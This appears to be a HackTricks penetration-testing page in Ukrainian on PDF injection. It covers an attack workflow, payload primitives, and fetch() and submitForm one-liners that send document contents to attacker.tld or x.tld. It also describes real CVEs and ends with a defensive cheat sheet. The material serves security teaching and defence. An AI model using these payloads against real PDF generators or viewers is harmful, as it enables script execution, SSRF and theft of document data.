56 lines
7.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PDF Injection
{{#include ../../banners/hacktricks-training.md}}
**Якщо ваш ввід відображається всередині PDF-файлу, ви можете спробувати ввести PDF-дані для виконання JavaScript, виконати SSRF або вкрасти вміст PDF.**
Синтаксис PDF надзвичайно ліберальний якщо ви можете вийти з рядка або словника, який вбудовує ваш ввід, ви можете додати абсолютно нові об'єкти (або нові ключі в тому ж об'єкті), які Acrobat/Chrome з радістю розпарсить.
З 2024 року хвиля звітів про баги показала, що *одна неекранована дужка або зворотний слеш достатньо* для повного виконання скрипту.
## TL;DR Сучасний робочий процес атаки (2024)
1. Знайдіть будь-яке значення, контрольоване користувачем, яке потрапляє всередину **(рядка в дужках)**, `/URI ( … )` або `/JS ( … )` поля в згенерованому PDF.
2. Введіть `) ` (закриваючи рядок), за яким слідує один з примітивів нижче, і закінчіть ще однією відкриваючою дужкою, щоб зберегти синтаксис дійсним.
3. Доставте шкідливий PDF жертві (або до бекенд-сервісу, який автоматично рендерить файл чудово для сліпих багів).
4. Ваш вантаж виконується в переглядачі PDF:
* Chrome / Edge → PDFium Sandbox
* Firefox → PDF.js (див. CVE-2024-4367)
* Acrobat → Повний JavaScript API (може ексфільтрувати довільний вміст файлів за допомогою `this.getPageNthWord`)
Приклад (перехоплення посилання на анотацію):
```pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
```
*Перший `)` закриває оригінальний рядок URI, після чого ми додаємо новий **Action** словник, який Acrobat виконає, коли користувач натисне на посилання.*
## Корисні примітиви для ін'єкцій
| Мета | Фрагмент Payload | Примітки |
|------|-----------------|-------|
| **JavaScript при відкритті** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Виконується миттєво при відкритті документа (працює в Acrobat, не в Chrome). |
| **JavaScript при натисканні на посилання** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Працює в PDFium та Acrobat, якщо ви контролюєте анотацію `/Link`. |
| **Сліпа ексфільтрація даних** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Поєднайте з `this.getPageNthWord` всередині JS, щоб вкрасти вміст. |
| **Серверний SSRF** | Те ж саме, що й вище, але націлюйте на внутрішню URL-адресу чудово, коли PDF рендериться службами бек-офісу, які поважають `/URI`. |
| **Перенос рядка для нових об'єктів** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Якщо бібліотека дозволяє вам вставляти символи нового рядка, ви можете створювати абсолютно нові об'єкти. |
## Трюк сліпої енумерації
Гарет Хейз (PortSwigger) випустив однорядковий код, який перераховує кожен об'єкт всередині невідомого документа зручно, коли ви не можете бачити згенерований PDF:
```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```
Код ітерує по DOM Acrobat і робить вихідні запити для кожної пари властивість/значення, надаючи вам *JSON-подібний* дамп файлу. Дивіться білу книгу “Portable Data **ex**Filtration” для повної техніки.
## Реальні помилки (2023-2025)
* **CVE-2024-4367** Випадкове виконання JavaScript у PDF.js Firefox до 4.2.67 обійшло пісочницю з допомогою створеної дії `/JavaScript`.
* **Bug bounty 2024-05** Великий фінансовий технологічний сервіс дозволив нотатки рахунків, надані клієнтом, які потрапили в `/URI`; звіт був оплачений на $10k після демонстрації SSRF до внутрішнього хосту метаданих за допомогою `file:///` URI.
* **CVE-2023-26155** Впровадження команд через `node-qpdf` через несенітізований шлях PDF показує важливість екранування зворотних слешів і дужок навіть *перед* шаром PDF.
## Захисний шпаргалка
1. **Ніколи не конкатенуйте сирий ввід користувача** всередині `(``)` рядків або імен. Екрануйте `\`, `(`, `)` відповідно до §7.3 специфікації PDF або використовуйте шістнадцяткові рядки `<...>`.
2. Якщо ви створюєте посилання, надавайте перевагу `/URI (https://…)`, які ви *повністю* URL-кодуєте; блокуйте схеми `javascript:` у клієнтських переглядачах.
3. Видаляйте або перевіряйте словники `/OpenAction`, `/AA` (додаткові дії), `/Launch`, `/SubmitForm` і `/ImportData` під час обробки PDF.
4. На стороні сервера рендеріть ненадійні PDF за допомогою *безголового конвертера* (наприклад, qpdf decrypt linearize), який видаляє JavaScript і зовнішні дії.
5. Тримайте переглядачі PDF в актуальному стані; PDF.js < 4.2.67 і Acrobat Reader до липня 2024 року дозволяють тривіальне виконання коду.
## Посилання
* Gareth Heyes, Portable Data exFiltration XSS for PDFs”, PortSwigger Research (оновлено травень 2024). <https://portswigger.net/research/portable-data-exfiltration>
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (квітень 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
{{#include ../../banners/hacktricks-training.md}}